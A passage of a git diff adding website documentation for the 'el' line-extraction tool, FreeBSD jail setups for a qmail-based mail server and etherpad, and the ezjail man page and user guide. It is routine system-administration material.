slug: ../arts/software/el/index +.. prio: 100 + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +Overview +======== + +*el* (from extract lines) is a unix tool to efficiently extract lines from a text file using a dynamic line end index. Its command line syntax is tuned to work with other posix tools – especially grep – to easily operate on poor man's databases where each of the database's columns is in a separate newline separated file. + +Since *el* mmaps the whole file, it does not work on streams. + +---- + +Build instructions +================== + +Get the source from my git repository ``git clone git://erdgeist.org/el`` and type ``make`` in the directory ``el``. *el* has no further dependencies and can just be copied to ``/usr/local/bin`` or wherever your binaries reside. + +---- + +Invocation +========== + +In its simplest form just run:: + + echo 1 2 3 4 5 6 7 8 9 10 | el file.txt + +to extract lines 1 to 10 from the file ``file.txt`` and print them to stdout. *el* also accepts white space separated line numbers with the ``-i`` parameter and can default to hexadecimal numbers with the ``-x`` switch:: + + el -i "10 11 12 13" -x file1.txt file2.txt + +extracts line 16 to 19 from the files ``file.txt`` and ``file2.txt``, each line separated by the tab character. If your line numbers start at ``0``, *el* will add 1, if it is run with the ``-0`` switch. + +The reason reading line numbers from stdin and not from command line by default becomes apparent, when you use the combining features of *el*, as it can parse and generate output as the ``grep`` posix tool does. + +If you use the ``-n`` switch, each extracted line is prefixed by it's line number and a colon, just as ``grep`` does. If you use the ``-g`` switch, *el* will also **expect** the line numbers on stdin to be terminated by a colon followed by garbage until next newline. So you can feed results from ``grep -n`` directly to it. With the ``-G`` option, not only will *el* parse the line numbers from ``grep``'s output, but also append the extracted lines from each file to the input line. In order to chain several ``grep`` and *el* commands, best combine the ``-Gn`` switches as in this example:: + + grep -n Manager positions.txt | el -Gn firstname.txt lastname.txt | grep Jon | el -Gn salary.txt + +This will produce, an output like this:: + + 17:Manager\tJon\tMiller\t$1200 + 23:Manager\tJon\tDoe\t$1600 + +given that all the text files contain corresponding rows of information about the staff. + +---- + +Author +====== + +*el* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers. + +---- + +License +======= + +*el* is considered `beer ware </beerware.html>`_. + + diff --git a/stories/projects/elektropost.rst b/stories/projects/elektropost.rst new file mode 100644 index 0000000..b8ad9d1 --- /dev/null +++ b/stories/projects/elektropost.rst @@ -0,0 +1,197 @@ +.. link: +.. description: is an ongoing mail server and webmail frontend project, documented to be set up on a FreeBSD jail and instanced on elektropost.org. +.. tags: project +.. date: 2014/02/01 19:10:08 +.. title: elektropost +.. subtitle: a FreeBSD jail based mail server project. +.. slug: ../arts/software/elektropost/index +.. prio: 750 + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +Overview +======== + +`Here is a raw sketch </epost.pdf>`_ of how the elektropost setup works. + +Send feedback to `erdgeist <mailto:erdgeist@erdgeist.org>`_. + +---- + +Install qmail +============= + +* ``make patch`` in /usr/ports/mail/qmail-tls, choose SMTP_AUTH_PATCH, BIG_TODO_PATCH, BIG_CONCURRENCY_PATCH, DISCBOUNCES_PATCH and SPF_PATCH, keep RCDLINK +* apply patch http://erdgeist.org/arts/software/Code/elektropost/validrcptto.cdb.patch.new to qmail-tls/work/qmail-1.03 +* apply patch http://erdgeist.org/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch to qmail-tls/work/qmail-1.03 +* ``make install`` in /usr/ports/mail/qmail-tls +* add "QMAIL_SLAVEPORT=tls" in /etc/make.conf + +---- + +Configure qmail +=============== + +* In /var/qmail/control check/edit all files +* create a servercert.pem. On elektropost this one is used for lighty and dovecot as well, YMMV +* install http://erdgeist.org/arts/software/Code/elektropost/tcp.smtp to /etc/tcp.smtp and alter it accordingly to your needs, ie fix/insert to "cat /etc/tcp.smtp | tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp" + + * for this you will need to ``make install`` in /usr/ports/sysutils/ucspi-tcp + * select SSL, leave MAN checked +* ``ln -s /var/qmail/boot/qmail-smtpd.rcNG /usr/local/etc/rc.d/qmail-smtpd`` +* ``ln -s /var/qmail/boot/maildir /usr/local/etc/rc.d/qmail`` +* ``echo 'qmailsmtpd_enable="YES"' >> /etc/rc.conf`` +* ``echo 'qmailsmtpd_checkpassword="/usr/local/vpopmail/bin/vchkpw"' >> /etc/rc.conf`` + +---- + +Install vpopmail +================ + +* ``make install`` in /usr/ports/mail/vpopmail +* Use default options for ucspi-tcp +* ``chown vpopmail:vchkpw /usr/local/vpopmail`` +* ``chmod u+s ~vpopmail/bin/vchkpw`` +* ``pw user mod vpopmail -s /bin/sh`` + +---- + +Configure vpopmail +================== + +* ``echo elektropost.org > /usr/local/vpopmail/etc/defaultdomain`` + +---- + +Install dovecot +=============== + +* ``make install`` in /usr/ports/mail/dovecot +* choose option VPOPMAIL, keep the rest (maybe disable IPV6) +* ``echo 'dovecot_enable="YES"' >> /etc/rc.conf`` + +---- + +Configure dovecot +================= + +* ``cp /usr/local/etc/dovecot-example.conf /usr/local/etc/dovecot.conf`` +* Change: protocols = imap imaps pop3s +* Change: listen = and ssl_listen = to match your ip addresses +* Change: ssl_cert_file = /var/qmail/control/servercert.pem +* Change: ssl_key_file = /var/qmail/control/servercert.pem +* Change: mail_location = maildir:%h/Maildir +* Change: first_valid_uid = 1 +* Change: first_valid_gid = 1 +* Change: max_mail_processes = 1024 +* Change: auth_username_format = %Ln@%Ld +* Change: #passdb pam { and #} if you do not have local user mail +* Change: #userdb passwd { and #} if you do not have local user mail +* Change: userdb vpopmail { and } to use vpopmail's vchkpw + +---- + +Install lighty +============== + +* ``make install`` in /usr/ports/www/lighttpd +* ``echo 'lighttpd_enable="YES"' >> /etc/rc.conf`` + +---- + +Configure lighty +================ + +* ``cp /usr/local/etc/lighttpd.conf.sample /usr/local/etc/lighttpd.conf`` +* Change: "mod_fastcgi", +* Change: server.document-root = "/usr/local/www/squirrelmail/" +* Change: server.port = 443 +* Change:: + + cgi.assign = ( ".pl" => "/usr/bin/perl", + ".cgi" => "/usr/bin/perl", + "/cgi-bin/qmailadmin" => "", + "/ezmlm-cgi" => "" ) + +* Change: ssl.engine = "enable" +* Change: ssl.pemfile = "/var/qmail/control/servercert.pem" +* To inform users to use https, put a document to /usr/local/www/data/index.html and add:: + + #compatibility + $SERVER["socket"] == "<insert your ip address>:80" { + ssl.engine = "disable" + server.name = "<your fqdn>" + server.document-root = "/usr/local/www/data" + } + +---- + +Install squirrelmail +==================== +* ``make install`` in /usr/ports/mail/squirrelmail +* Use default options for php5 +* Follow the instructions squirrelmail port prints out + +---- + +Install qmailadmin / ezmlm-idx +============================== + +* ``make install WITH_SPAM_DETECTION=TRUE SPAM_COMMAND="| /usr/local/bin/spamc -f | /usr/local/bin/maildrop" CGIBINDIR=www/squirrelmail/cgi-bin CGIBINSUBDIR= WEBDATADIR=www/squirrelmail WEBDATASUBDIR=qmailadmin in /usr/ports/mail/qmailadmin`` +* Use default options for ezmlm-idx + +---- + +Install qmailadmin plugin for squirrelmail +========================================== + +* ``make install`` in /usr/ports/mail/squirrelmail-qmailadmin_login-plugin + +---- + +Install maildrop +================ + +* ``make install`` in /usr/ports/mail/maildrop + +---- + +Install the maildrop spam sort magic +==================================== + +* install http://erdgeist.org/arts/software/Code/elektropost/maildroprc to /usr/local/etc/maildroprc + +---- + +Install spamassassin +==================== + +* ``make install`` in /usr/ports/mail/p5-Mail-SpamAssassin, keep SPAMC, SSL, uncheck all others +* ``echo '-d 192.168.0.2' > /usr/local/etc/mail/spamassassin/spamc.conf`` + +---- + +Install the Valid RCPTTO checking stuff +======================================= + +* install http://erdgeist.org/arts/software/Code/elektropost/mkvalidrcptto to /usr/local/vpopmail/bin/mkvalidrcptto +* ``chmod +x /usr/local/vpopmail/bin/mkvalidrcptto`` +* ``cpan install CDB_File`` to help perl understand cdb files +* ``make install`` in /usr/ports/databases/cdb/ +* Add a script to your crontab (e.g. /usr/local/vpopmail/etc/tidymail.sh) that contains:: + + /usr/local/vpopmail/bin/mkvalidrcptto | /usr/local/bin/cdbmake-12 /var/qmail/control/validrcptto.cdb /tmp/validrcptto.tmp + +---- + +Install the auto trash-pruning script +===================================== + +* Add a script to your crontab (e.g. /usr/local/bin/prune-trash.sh) that contains:: + + find -E /usr/local/vpopmail/domains/ -type f -iregex "^.*/maildir/.*\.(junk|trash|spam)(\.[^/]+)?/(new|cur|tmp)/.*$" -mmin +86400 -delete + diff --git a/stories/projects/etherpad.rst b/stories/projects/etherpad.rst new file mode 100644 index 0000000..cc75def --- /dev/null +++ b/stories/projects/etherpad.rst @@ -0,0 +1,237 @@ +.. link: +.. description: is a documentation project on how to setup the classic etherpad software in a FreeBSD jail. +.. tags: project +.. date: 2015/02/01 19:10:08 +.. title: etherpad +.. slug: ../arts/software/etherpad/index + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +Overview +======== + +This is how to install the etherpad from http://etherpad.org/ in a FreeBSD-8.2 jail. (N.B: Things are reported not to work with newer versions.) + +This guide assumes, you have sudo, bash and an editor of your choice installed. Reserve around 2GB space for the jail. If you're using a different shell, use ``setenv`` to configure the environment variables set by ``export`` in this guide. Send feedback to `erdgeist <mailto:erdgeist-etherpad@erdgeist.org>`_. Many regards to `this guide <http://pauleira.com/13/installing-etherpad/>`_, it helped me a lot. + +---- + +Install Scala + Java +==================== + +Since etherpad does not build under the version of scala that is shipped with FreeBSD-8.2 (i.e. scala-2.8.0), we have to manually install scala-2.7.7. However, scala brings nice dependencies that help with the manual installation of the jdk. So we install scala-2.8.0 to get the dependencies, then deinstall it and install java and scala. + +* Fetch jdk here: `<jdk-1.6.0.3p4_15.tbz>`_ +* Fetch scala-2.7.7 here: `<scala-2.7.7.tbz>`_ + +Then type:: + + pkg_add -r scala + pkg_delete -f scala\* + pkg_add jdk-1.6.0.3p4_15.tbz scala-2.7.7.tbz + +---- + +Install mysql, fastjar and java connector +========================================= + +Type:: + + pkg_add -r mysql55-server mysql-connector-java fastjar + echo mysql_enable=YES >> /etc/rc.conf + /usr/local/etc/rc.d/mysql-server start + +---- + +Prepare mysql +============= + +Connection in a jail comes from the jail IP, not from 127.0.0.1, so enter IPADDRESS accordingly + +``mysql -u root`` + +and in the mysql shell:: + + create database etherpad; + grant all privileges on etherpad.* to 'etherpad'@'IPADDRESS' identified by 'MYSQLPASS_CHANGEME'; + +---- + +Checkout etherpad +================= + +Type:: + + pkg_add -r git + cd /usr/local + git clone git://github.com/ether/pad.git + +known good commit 94d5b2dfd65abbee5a06d80d94cdb00a7947d9b1, otoh: you might want to check `my issue about this commit <https://github.com/ether/pad/issues/293>`_, overlay windows are broken atm. + +---- + +Configure etherpad +================== + +Type:: + + cd /usr/local/pad/etherpad + cp etc/etherpad.localdev-default.properties etc/etherpad.local.properties + +and in your ``etc/etherpad.local.properties`` do: + +* Change: devMode = false +* Change: etherpad.isProduction = true +* Change: etherpad.proAccounts = true +* Change: etherpad.adminPass = ADMINPASS_CHANGEME +* Change: etherpad.isProduction = true +* Change: etherpad.SQL_PASSWORD = MYSQLPASS_CHANGEME +* Change: listen = 0.0.0.0:9000 +* Change: topdomains = pads.domain.tld,localhost +* Change: customEmailAddress = admin@pads.domain.tld +* Change: transportUseWildcardSubdomains = false +* Change: useHttpsUrls = true + +Remember the passwords well, take special care about trailing spaces! Now setup your domain in the following files: + +* src/main.js +* src/static/crossdomain.xml +* src/etherpad/pro/pro_utils.js +* src/etherpad/control/pad/pad_control.js +* src/etherpad/control/global_pro_account_control.js + +To disable a per-pad quota, comment out the call to _checkPadQuota in src/etherpad/control/pad/pad_control.js + +---- + +Rebuild the JAR +=============== + +Type:: + + export JAVA_HOME="/usr/local/jdk1.6.0/" + export JAVA="/usr/local/jdk1.6.0/bin/java" + export SCALA="/usr/local/share/scala-2.7.7/bin/scala" + export SCALA_HOME="/usr/local/share/scala-2.7.7/" + export SCALA_LIBRARY_JAR="/usr/local/share/scala-2.7.7/lib/scala-library.jar" + export PATH=/usr/local/share/scala-2.7.7/bin/:$PATH + export MYSQL_CONNECTOR_JAR="/usr/local/share/java/classes/mysql-connector-java.jar" + export mysql=mysql + +Rebuild the ace dependency +-------------------------- + +This is especially important if you see this (google hint): ``net.appjet.bodylock.JSRuntimeException: Error: Neither module exists: etherpad.collab.ace.easysync2, etherpad.collab.ace.easysync2.``:: + + cd /usr/local/pad/infrastructure/ace + bin/make normal etherpad + +Rebuild the JAR with correct settings +------------------------------------- + +Type:: + + cd /usr/local/pad/etherpad + bin/rebuildjar.sh + +---- + +Install nginx +============= + +Type:: + + cd /usr/ports/www/nginx + make install clean + +and be sure to select HTTPS. + +---- + +Create Self Signed Certificates +=============================== + +For whatever your domain is, substitute it in the following commands:: + + openssl genrsa -out pads.domain.tld.key 1024 + openssl req -new -key pads.domain.tld.key -out pads.domain.tld.csr + echo "subjectAltName=DNS:pads.domain.tld,DNS:*.pads.domain.tld" >pads.domain.tld.conf + openssl x509 -req -days 365 -in pads.domain.tld.csr -signkey pads.domain.tld.key -text -extfile pads.domain.tld.conf -out pads.domain.tld.crt + cat pads.domain.tld.crt pads.domain.tld.key >/usr/local/etc/nginx/pads.domain.tld.pem + +---- + +Configure nginx +=============== + +Nginx configs were provided by cryx. Thank you. Fetch ``nginx.conf`` here: `<nginx.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx.conf`` do: + +* Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains +* Change: ssl_certificate pads.domain.tld.pem; as created above + +Fetch ``nginx-etherpad.conf`` here: `<nginx-etherpad.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx-etherpad.conf`` do: + +* Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains +* Change: proxy_pass http://pads.domain.tld:9000/; + +Type:: + + mkdir /var/log/www/; chown www:www /var/log/www + echo nginx_enable=YES >> /etc/rc.conf + +---- + +Install start script +==================== + +Fetch rc script here: `<etherpad>`_ and put it to ``/usr/local/etc/rc.d/``. + +Type:: + + chmod +x /usr/local/etc/rc.d/etherpad + echo etherpad_enable=YES >> /etc/rc.conf + mkdir /var/run/etherpad; chown etherpad /var/run/etherpad + chown -R etherpad:etherpad /usr/local/pad + +---- + +Install openoffice +================== + +If you want to export word and pdf documents, you need to install openoffice and run it as a headless service. + +Fetch the libreoffice package here: http://wiki.bsdforen.de/anwendungen/libreoffice_aus_inoffiziellen_paketen#freebsd_amd64i386_87-stable_kamikaze or, a know working mirror for `<libreoffice-3.3.3.tbz>`_, MD5 (libreoffice-3.3.3.tbz) = 028d259735b361e46af8a9e253f168a8. + +Install dependencies, ignore warnings about already installed older versions:: + + pkg_add -r xineramaproto xf86vidmodeproto xextproto videoproto renderproto randrproto printproto kbproto inputproto fixesproto dri2proto damageproto compositeproto font-util encodings libtextcat expat gnome_subr ca_root_nss hicolor-icon-theme gnomehier lp_solve python27 xcb-proto perl hu-hunspell poppler-data png lcms jpeg jbigkit tiff openjpeg jasper curl pkg-config xproto pixman libtasn1 libfontenc libXdmcp libXau libICE libSM freetype2 mkfontscale mkfontdir fontconfig font-misc-meltho font-misc-ethiopic font-bh-ttf bitstream-vera xorg-fonts-truetype pcre orc m4 libpthread-stubs libxcb xcb-util libdrm libX11 libXt libXrender libXft libXfixes libXext libXxf86vm libXv libXrandr libXpm libXp libXmu libXinerama libXi libXdamage libXcursor libXcomposite libXaw libGL libGLU libltdl libffi libcheck icu db41 libiconv libxml2 raptor rasqal redland gettext libgpg-error libgcrypt glib gamin gio-fam-backend shared-mime-info libIDL gdk-pixbuf desktop-file-utils dbus libgee dbus-glib eggdbus cairo poppler bison gobject-introspection gstreamer gstreamer-plugins polkit pango ORBit2 lzo2 gnutls cups-client atk gtk dconf gconf2 libgsf libwpd libwps libwpg libxslt + +Install the local package:: + + pkg_add -f libreoffice-3.3.3.tbz + +Fetch rc script here: `<soffice>`_ and put it to ``/usr/local/etc/rc.d/``. Then type:: + + chmod +x /usr/local/etc/rc.d/soffice + echo soffice_enable=YES >> /etc/rc.conf + +---- + +Configure name server +===================== + +Add records for the pads and wildcard subdomains, for tinydns this is:: + + +pads.domain.tld:192.168.0.23:43200 + +*.pads.domain.tld:192.168.0.23:43200 + +---- + +Filter local services +===================== + +Add rules to filter ports 9000 and 3306 to pf. diff --git a/stories/projects/ezjail.conf.5 b/stories/projects/ezjail.conf.5 new file mode 100755 index 0000000..f35d412 --- /dev/null +++ b/stories/projects/ezjail.conf.5 @@ -0,0 +1,229 @@ +.Dd December 5, 2013 +.Dt EZJAIL.CONF 5 USD +.Os FreeBSD +.Sh NAME +.Pa ezjail.conf +.Nd configuration file for ezjail script +.Sh DESCRIPTION +The file +.Pa ezjail.conf +contains settings that control the operation of the ezjail +.Xr rc 8 +script. It is also read by the +.Cm ezjail-admin +utility to figure out where it should perform its actions. Its path is +set at installation time to +.Pa EZJAIL_PREFIX/etc/ezjail.conf , +with an example file installed at +.Pa EZJAIL_PREFIX/etc/ezjail.conf.sample . +.Pp +This file is really a shell script that is sourced by the +.Cm ezjail-admin +command at run-time. +.Dq (str) +denotes a string; it should be enclosed in quotes if it contains space. +.Dq (bool) +notes a boolean, whose possible values are +.Dq YES +and +.Dq NO . +.Sh PATH OPTIONS +.Bl -tag -width option +.It ezjail_jaildir (str) +Location of jail root directories. +.br +Default: +.Em /usr/jails . +.It ezjail_jailtemplate (str) +Location of template jail used to create a new jail +.br +Default: +.Em ${ezjail_jaildir}/newjail . +.It ezjail_jailbase (str) +Location of base jail, the one that is mounted to all jails +.br +Default: +.Em ${ezjail_jaildir}/basejail . +.It ezjail_sourcetree (str) +Location of your copy of FreeBSD's source tree (refer to the +.Xr ezjail-admin 8 +utility for more information). +.br +Default: +.Em /usr/src . +.It ezjail_flavours_dir (str) +Location of the flavours, where each directory is a different flavour. +.br +Default: +.Em ${ezjail_jaildir}/flavours . +.It ezjail_ftphost (str) +This is where the install subcommand defaults to fetch its packages from. +.br +Default: +.Em ftp.freebsd.org . +.It ezjail_archivedir (str) +This is the default archive location for the +.Cm ezjail-admin archive +command. +.br +Default: +.Em ${ezjail_jaildir}/ezjail_archives . +.El +.Sh JAIL ADMIN OPTIONS +.Bl -tag -width option +.It ezjail_default_execute (str) +This is the default command executed in a jail by +.Cm ezjail-admin console . +.br +Default: +.Em /usr/bin/login -f root . +.It ezjail_exec_start (str) +The command to execute in a jail when starting it. +.br +Default: +.Em /bin/sh /etc/rc . +.El +.Sh JAIL CREATION OPTIONS +Default options for newly created jails. Used by the +.Xr ezjail-admin 1 +utility. Be careful about disabling +.Em ezjail_mount_enable . +.Bl -tag -width option +.It ezjail_mount_enable (bool) +Controls whether +.Pa /etc/fstab. Ar hostname +should be executed at jail startup time. +.br +Default: +.Em YES . +.It ezjail_devfs_enable (bool) +Controls whether newly created jails are given a working +.Pa /dev +directory. (Refer to +.Xr devfs 5 +and +.Xr jail 8 +for more information). +.br +Default: +.Em YES . +.It ezjail_devfs_ruleset (str) +Specifies which devfs ruleset should apply for newly created jails. +(Refer to +.Xr devfs 5 +and +.Xr jail 8 +for more information). +.br +Default: +.Em devfsrules_jail . +.It ezjail_procfs_enable (bool) +Controls whether newly created jails are given a working +.Pa /proc +directory. (Refer to +.Xr procfs 5 +and +.Xr jail (8) +for more information). +.br +Default: +.Em YES . +.It ezjail_fdescfs_enable (bool) +Controls whether newly created jails are given a working +.Pa /dev/fd/ +directory. (Refer to +.Xr fdescfs (5) +and +.Xr jail (8) +for more information). +.br +Default: +.Em YES . +.It ezjail_uglyperlhack (bool) +Set to YES, if ezjail should provide a soft link from +.Pa /usr/bin/perl +to +.Pa /usr/local/bin/perl +in base jail. +.br +Default: +.Em YES . +.It ezjail_default_flavour (str) +Controls which flavours should be used for newly created jails if none +are given on the command line. +.br +Default: +.Em none . +.It ezjail_imagetype (one of simple, bde, eli, zfs) +Type of jail to create when creating a jail with the +.Fl i +flag without specifying the type explicitly. +.br +Default: +.Em simple +.El +.Sh ZFS OPTIONS +.Bl -tag -width option +.It ezjail_use_zfs (bool) +Set to YES, if ezjail should manage basejail and newjail in a separate +ZFS-datasets. +.br +Default: +.Em NO . +.It ezjail_use_zfs_for_jails (bool) +Set to YES, if ezjail should manage all new jails in their own +ZFS-datasets. To override that on the command line, use +.Cm ezjail-admin create -c simple +for image based jails or +.Cm ezjail-admin create -c '' +for non-image jails. +.br +Default: +.Em NO . +.It ezjail_jailzfs (str) +The name of the parent ZFS-dataset which ezjail will use to create +jails on. It will be mounted in +.Em ezjail_jaildir . +Setting this will automatically enable ezjail managing jails in separate +ZFS-datasets. +.br +Default: +.Em none . +.It ezjail_zfs_properties (str) +Default properties ZFS will use for creating datasets. See +.Xr zfs 1m +for details. ADVANCED, be very careful! +.br +Default: +.Em none . +.It ezjail_default_retention_policy (str) +Policy for the +.Cm ezjail-admin snapshot +subcommand to keep older snapshots. See +.Xr ezjail-admin 1 +for details. +.br +Default: +.Em none . +.El +.Sh FILES +EZJAIL_PREFIX/etc/ezjail.conf +.br +EZJAIL_PREFIX/etc/rc.d/ezjail.sh +.Sh SEE ALSO +.Xr ezjail-admin 1 , +.Xr ezjail 5 , +.Xr jail 8 , +.Xr devfs 5 , +.Xr fdescfs 5 , +.Xr procfs 5 . +.Sh AUTHOR +Dirk Engling +.Aq erdgeist@erdgeist.org . +.Pp +The man page is based on a draft by +.An JoeB +.Aq joeb1@a1poweruser.com +and was rewritten by +.An Frederic Perrin +.Aq frederic.perrin@resel.fr . diff --git a/stories/projects/ezjail.rst b/stories/projects/ezjail.rst new file mode 100644 index 0000000..4eb4b65 --- /dev/null +++ b/stories/projects/ezjail.rst @@ -0,0 +1,412 @@ +.. link: +.. description: is a jail management framework for the FreeBSD operating system, aiming to aid in setting up und updating virtual FreeBSD instances. +.. tags: project +.. date: 2000/02/01 19:10:08 +.. title: ezjail +.. subtitle: Jail administration framework +.. slug: ../arts/software/ezjail/index +.. prio: 900 + +.. contents:: + :depth: 1 + :class: ezjail-toc + +---- + +News +==== + +.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg + :align: right + +.. post-list:: + :tags: ezjail + :template: list_projectnews.tmpl + :stop: 5 + +---- + +Overview +======== + +A `Jail <http://www.freebsd.org/doc/en_US.ISO8859-1/books/arch-handbook/jail.html>`_ in FreeBSD-speak is one or more tasks with the same kernel Jail-ID, bound on zero or more IP addresses, having the same chroot-environment. One usecase of the FreeBSD Jail Subsystem is to provide virtual FreeBSD-systems within a Host-system. ezjail `is about making this as easy as possible <philosophy.html>`_, aiming for minimum system resource usage. All further references to the term Jail are to a virtual FreeBSD-system consisting of a host name, an IP-address and a Jail root. + +The jail(8) man page outlines the way to create Jails, however, when you need several Jails, complete Jail Directory Trees quickly use much of your valuable hard disc space. ezjail avoids this by using FreeBSDs nullfs feature. Most of the base system (/bin, /boot, /sbin, /lib, /libexec, /rescue, /usr/{bin, include, lib, libexec, ports, sbin, share, src}) only exists in one copy in the Host-system and is being mounted read only into all Jails via nullfs. Those Jails are quite slim (around 2mb each) and only consist of some soft links into the basejail mount point and non-shared directories like /etc, /usr/local, etc. + +The ezjail approach offers lots of advantages: + +* You save disc space, inodes and even memory since the system only needs to hold one copy of base system binaries for all Jails +* You can update all Jails on a single base directory, since it is so eazy, you might actually end up doing it +* Intruders compromising Jails are unable to install standard rootkits (as the base system is mounted read only) +* Since ezjail is written entirely in sh, there is no need to install other script languages into the hostsystem +* As the base system is provided via soft links, the enjailed users can choose not to use the mounted world +* ezjail offers full zfs integration and can help you automatize your file system configuration +* An often underestimated fact: less complexity means more security. + +---- + +Quick start +=========== + +To set up your first very simple ezjail, just install ezjail from ``sysutils/ezjail`` port or via ``pkg_add -r ezjail`` and enable it by setting ``ezjail_enable=YES`` in your in your ``/etc/rc.conf``. Assuming your network interface is em0, just type (as root):: + + ezjail-admin install + ezjail-admin create example.com 'em0|10.0.0.2' + ezjail-admin start example.com + +and you're done. Get a shell in your new jail with the:: + + ezjail-admin console example.com + +command. As with any vanilla FreeBSD installation, you might probably need to touch /etc/ and maybe copy your host's /etc/resolv.conf. + +---- + +Slow start +========== + +ezjail comes with some sane defaults, but can be configured globally and per jail using the config file /usr/local/etc/ezjail.conf (copy the sample from /usr/local/etc/ezjail.conf.sample) and the per-jail config files under /usr/local/etc/ezjail/ (those are created automatically with the jails and managed by the ezjail-admin config command). + +ZFS +--- + +ezjail integrates nicely with zfs, ready to manage all jails in its own file system. So if your system has a zpool configured, tell ezjail to use zfs and which zpool to use for its house keeping: + +* uncomment the ``ezjail_use_zfs=YES`` +* point the ``ezjail_jailzfs`` variable to a file system that will be created by ezjail-admin install, (e.g. ``tank/ezjail``) + +while you're at it, you can tell ezjail to create all future jails in their own file system (which defaults to be a child of ``ezjail_jailzfs``) + +* uncomment ``ezjail_use_zfs_for_jails=YES`` + +now the commands in the quick start example should set up a zfs hierarchy ready to use all the nifty features of zfs. + +Flavours +-------- + +ezjail can help you with the otherwise tedious task of decorating the interior of new jails–those come as naked FreeBSD installations by default. A set of files to copy, packages to install and scripts to execute is called "flavour". ezjail comes with an example flavour called "example" that comes pre-tuned for the use in jails, with an appropriate ``rc.conf``, ``make.conf``, ``periodic.conf`` and ``/usr/local/etc/sudoers``. + +You are encouraged to copy the flavour and modify the contained script to suit your needs–flavours reside in the directory configured with the ``ezjail_flavours_dir`` variable, which defaults to ``/usr/jails/flavours``. But just calling:: + + ezjail-admin create -f example example.com 'em0|10.0.0.2' + + +should do. Note, that the flavour script is being run the first time the jail starts, so calling:: + + ezjail-admin console -f example.com + + +is a nice idea. You can use the shell to further configure the new jail. + +The basejail +------------ + +All jails share a read only mounted copy of the FreeBSD base system, in ezjail this is called basejail. The quick start section gave a glimpse on the most simple way to install just the basics, but no ports tree, no man pages (pre FreeBSD-9) and no sources. You can run the ``ezjail-admin install`` command with the options -P, -M and -S again to install these distribution packages without installing the base system again, or just call ``ezjail-admin install -spm`` from start. ezjail uses the portsnap command to provide (and later update) the ports tree. If you do not want to install the OS version running in the host system, call:: + + ezjail-admin install -r 2.2.8-RELEASE + + +If you want to install your base system from source, use the ``ezjail-admin setup`` command (also called ``ezjail-admin update``); assuming you have already built your world for the host system, you would just call:: + + ezjail-admin setup -i + + +to run a make installworld from your source directory, which defaults to ``/usr/src``. To run a make buildworld before the installworld, call:: + + ezjail-admin setup -b + +For binary installations, ezjail uses the freebsd-update tool to keep the basejail up to date,:: + + ezjail-admin update -u + +should do the trick. + +Image and crypto jails +---------------------- + +Before the dawn of zfs, simple means to set limits on jails, like quotas, were hard to achieve. ezjail's answer were image jails, file backed "memory" disc images containing an ufs with the jail's content. When geom appeared with the very useful gbde and geli crypto layers for geom, encrypting image jails became possible. ezjail would handle creating and later attaching and detaching those images for you. + +Now simple image jails are not as hot anymore and personally I would recommend using geli to encrypt the provider for your zpool to apply proper crypto to all your jails. Still, there may be valid use cases for image jail. Call:: + + ezjail-admin create -i -s 2G example.com 10.0.0.2 + +to create a two gigabyte md-image with an ufs file system and install the jail inside. To configure the jail without starting it, use the attach and detach subcommands of ``ezjail-admin config``, like this:: + + ezjail-admin config -i attach example.com + cd /usr/jails/example.com + # … do your thing … + ezjail-admin config -i detach example.com + +Should the file system need some love, e.g. after a spontanous reboot or system crash, call:: + + ezjail-admin config -i fsck example.com + +to tidy up the mess–it ain't zfs, after all. By default ufs soft updates are enabled, so background fsck should occur for minor wrinkles, when an image jail starts. + +To create encrypted image jails, use the -c switch and either pass bde or eli and follow the instructions on screen:: + + ezjail-admin create -c eli -i 16G example.com 10.0.0.3 + +Note, that ezjail creates image jails by filling them from ``/dev/zero`` or ``/dev/random``, for performance reasons (reduce seeks with this file system inside a file system hack) and for security reasons (do not leak information about which blocks have been written for crypto jails), so creating huge image jails may take a while. Also note, that crypto jails would block the boot process (unless the passphrase is provided via a file or some fetch magic via stdin). So they are being marked as attachblocking and not started during boot time. You need to start them using ``ezjail-admin startcrypto``. + +Further reading +--------------- + +To get further details about all the options for ezjail-admin and all knobs and bolts, I recommend the excellent man pages: ezjail-admin, an overview over ezjail and the ezjail config file. + +---- + +Version History +=============== + +Since ezjail is useful under FreeBSD only, you might want to install it from ports ``sysutils/ezjail``. An `ezjail cvsweb (deprecated) </cvsweb/ezjail/>`_ and `ezjail gitweb </gitweb/ezjail/>`_ are available, plus there is a `fresh checkout <ezjail/>`_. The most current version is available via cvs. Use ``git clone git://erdgeist.org/ezjail`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co ezjail`` with an empty passwort to check it out. Just type ``sudo make install`` to install it. Older versions may be found here (checksums in tooltips): + +* CURRENT - not packaged yet +* V3.4.1 ezjail-3.4.1.tar.bz2 (2014-06-10) + + * Fixed a fatal bug in unfinished parts of the new troubleshoot subcommand + +* V3.4 ezjail-3.4.tar.bz2 (2014-06-10) + + * Began a troubleshoot subcommand that will in future check for unintuitive reasons for the jails to fail. + * Fixed a bug where Jails configured .norun were reported failing to start with the ezjail-admin start subcommand. Thanks to John Grasty. + * Create /var/ports/packages and /var/ports/distfiles in new jails to reflect custom /etc/make.conf. + * The Makefile now supports staging. + * Implement a test parameter for the ezjail-admin config -r subcommand that reports the runnable state. This can also be used to test for an ezjail's existence. + * Fixed a bug where ezjail-admin would not find jails with jid > 99999. Thanks to Mathieu Arnold. + * Fixed a bug where ezjail-admin delete and ezjail-admin config would not find the zpool the jail was created in. + * Implemented a jail snapshot mechanism for zfs jails with configurable retention policy. + * Fixed a bug where ezjail-admin restore with a path to an archive would not use the correct jail name and thus fail. Thanks to Ollivier Robert. +* V3.3 ezjail-3.3.tar.bz2 (2013-04-20) + + * Due to recent circumstances, I added a license file. + * Properly handle ip addresses with prefixed interface names, so they appear readable in the jail list and they will not be checked for on ezjail-admin create. Since FreeBSD 9.0 you can configure ip addresses with interface prefix (e.g. em1|10.0.0.1). This feature of 